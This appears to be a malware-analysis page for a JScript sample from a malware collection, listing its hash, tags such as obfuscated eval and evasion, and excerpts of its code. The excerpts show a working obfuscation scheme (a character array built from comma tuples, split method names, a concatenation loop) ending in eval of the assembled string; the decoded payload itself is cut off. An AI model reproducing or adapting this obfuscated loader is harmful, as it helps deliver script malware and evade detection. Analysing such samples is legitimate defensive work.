Suspicious ^80% javascript-malware-collection Download

20161006_2626329e39c37e73090630fd4d9d725a.js

Obfuscated eval, JScript, evasion

Dense gp token arrayCharacter array using comma tuples

SHA-256334b6677031e94d4e5a3f4f0d59237b8cf50d21b8e400f2effb300ff9d0dc9a1

Evidence

Dense gp token array lines 1–8

1
2/*@cc_on
3var tr = "";
4var oi = 0;
5
6asdffda();
7var cn,mr,vh,zs,ku,iu,kk,ba,ld,wv,kl,qn,fi,nt,lp,nt0,ty,iq,kf,rq,un,jh0,rj,af,uu,zx,cy,xu,jp,rg,pm,of,go,dt,xm,lw,au,tq,hx,lg,ep,uq,fc,rp,pu,ql,ti,fh0,ix,wn,rg0,bg,ms,dy,ju0,wt,eg,bd,hv,zl,pn,gl,ny,ac,fv,mc,ju,if0,dz,ll,qw,yy,ns,zj,jh,pj,ij,fh,ne,sh,ae,wz,fg,ak,sj,qa,ge,et;
8var pn0 = [("x", ny),("x", ll),("x", fv),("x", dt),("x", nt),("x", sh),("x", au),("x", fv),("x", lg),("x", ne),("x", of),("x", go),("x", ty),("x", cn),("x", lg),("x", lg),("x", lg),("x", lg),("x", ju),("x", fh),("x", mc),("x", lg),("x", fg),("x", kl),("x", tq),("x", sh),("x", et),("x", ll),("x", wv),("x", xm),("x", ny),("x", ll),("x", tq),("x", nt),("x", wv),("x", xm),("x", lg),("x", wt),("x", lg),("x", jp),("x", rg),("x", cy),("x", jp),("x", un),("x", jp),("x", jp),("x", un),("x", jp),("x", dt),("x", jp),("x", un),("x", jp),("x", mc),("x", jp),("x", un),("x", jp),("x", sh),("x", jp),("x", un),("x", jp),("x", fi),("x", nt),("x", jp) …

Variable initialized from string sequence lines 8–37

8:172825… x", dy),("x", mr),("x", cn),("x", mr),("x", cn)];
9do
10{
11    tr = tr['c'+"onca"+"t"](pn0[oi]);
12} while (oi++ < (pn0["l"+"engt"+"h"]-1));
13eval(tr);
14@*/
15function asdffda()
16{
17cn=('b', '\x0a');
18mr=('b', '\x0d');
19vh=('b', 'D');
20zs=('b', 'H');
21ku=('b', 'L');
22iu=('b', 'P');
23kk=('b', 'T');
24ba=('b', 'X');
25ld=('b', '\x09');
26wv=('b', 'd');
⋯11 lines